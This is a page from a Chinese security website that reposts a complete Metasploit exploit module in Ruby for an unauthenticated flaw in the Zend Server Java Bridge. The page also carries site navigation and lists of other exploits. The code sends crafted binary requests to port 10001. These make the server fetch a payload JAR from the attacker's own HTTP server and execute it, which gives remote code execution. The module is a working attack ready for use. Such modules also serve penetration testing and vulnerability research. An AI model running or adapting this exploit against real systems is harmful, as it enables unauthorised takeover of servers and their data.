首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Zend Server Java Bridge Arbitrary Java Code Execution
来源:http://www.metasploit.com 作者:bannedit 发布时间:2011-04-06  
##
# $Id: zend_java_bridge.rb 12242 2011-04-05 01:08:07Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpServer
	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Zend Server Java Bridge Arbitrary Java Code Execution',
			'Description'    => %q{
					This module takes advantage of a trust relationship issue within the
				Zend Server Java Bridge. The Java Bridge is responsible for handling interactions
				between PHP and Java code within Zend Server. 
				
					When Java code is encountered Zend Server communicates with the Java Bridge. The
				Java Bridge then handles the java code and creates the objects within the Java Virtual
				Machine. This interaction however, does not require any sort of authentication. This
				leaves the JVM wide open to remote attackers. Sending specially crafted data to the
				Java Bridge results in the execution of arbitrary java code.
			},
			'Author'         => [ 'bannedit' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 12242 
, 'References' => [ [ 'OSVDB', '71420'], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-113/'], [ 'URL', 'http://www.exploit-db.com/exploits/17078/' ], ], 'Platform' => ['java'], # win 'Arch' => ARCH_JAVA, 'Privileged' => true, 'Targets' => [ [ 'Linux', {}], [ 'Windows', {}], ], 'DisclosureDate' => 'Mar 28 2011', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(10001) ], self.class) end def exploit start_service() send_java_require end def send_java_require() connect jar = rand_text_alpha(rand(8)+1) + '.jar' path = get_uri + '/' + jar uri_len = path.length java_require = [0xffffffff, 0x16000000].pack('V*') + "setAdditionalClassPath" + [0x01000000, 0x00000004].pack('V*') + [uri_len].pack('C') + path java_require = [java_require.length].pack('N') + java_require print_status("Sending java_require() request... #{path}") sock.put(java_require) res = sock.get_once select(nil, nil, nil, 5) # wait for the request to be handled create_and_exec end def create_and_exec print_status("Sending Final Java Bridge Requests") create_obj = [0x34000000, 0x00000000, 0x0c000000].pack('V*') + "CreateObject" + [0x02000000, 0x00000004].pack('V*') + [0x12].pack('C') + "metasploit.Payload" + [0x07000000].pack('N') + [0x00].pack('C') sock.put(create_obj) res = sock.get_once obj_id = res[5,4] callmain = [0x1f000000].pack('V') + obj_id + [0x04000000].pack('V') + "main" + [0x01000000, 0x00000008, 0x00000201, 0x00040000].pack('V*') + [0x00].pack('C') + [0x00].pack('C') + [0x00].pack('C') sock.put(callmain) sock.get_once handler() end def on_request_uri(cli, request) if request.uri =~ /\.jar$/i send_response(cli, payload.encoded, { 'Content-Type' => 'application/java-archive', 'Connection' => 'close', 'Pragma' => 'no-cache' }) print_status("Replied to Request for Payload JAR") end end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·IBM Lotus Domino iCalendar MAI
·MPlayer (r33064 Lite) Buffer O
·Xilisoft Video Converter Ultim
·Graugon Forum 1.3 SQL Injectio
·eXPert PDF Convert to Word v7
·Wamp Webserver 2.1 File Downlo
·GNU glibc < 2.12.2 'fnmatch()'
·Synergy 1.4 Protocol Cleartext
·Encore ENPS-2012 Cross-site Sc
·RealNetworks RealGames StubbyU
·Joomla! com_virtuemart <= v1.1
·RealNetworks RealGames StubbyU
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved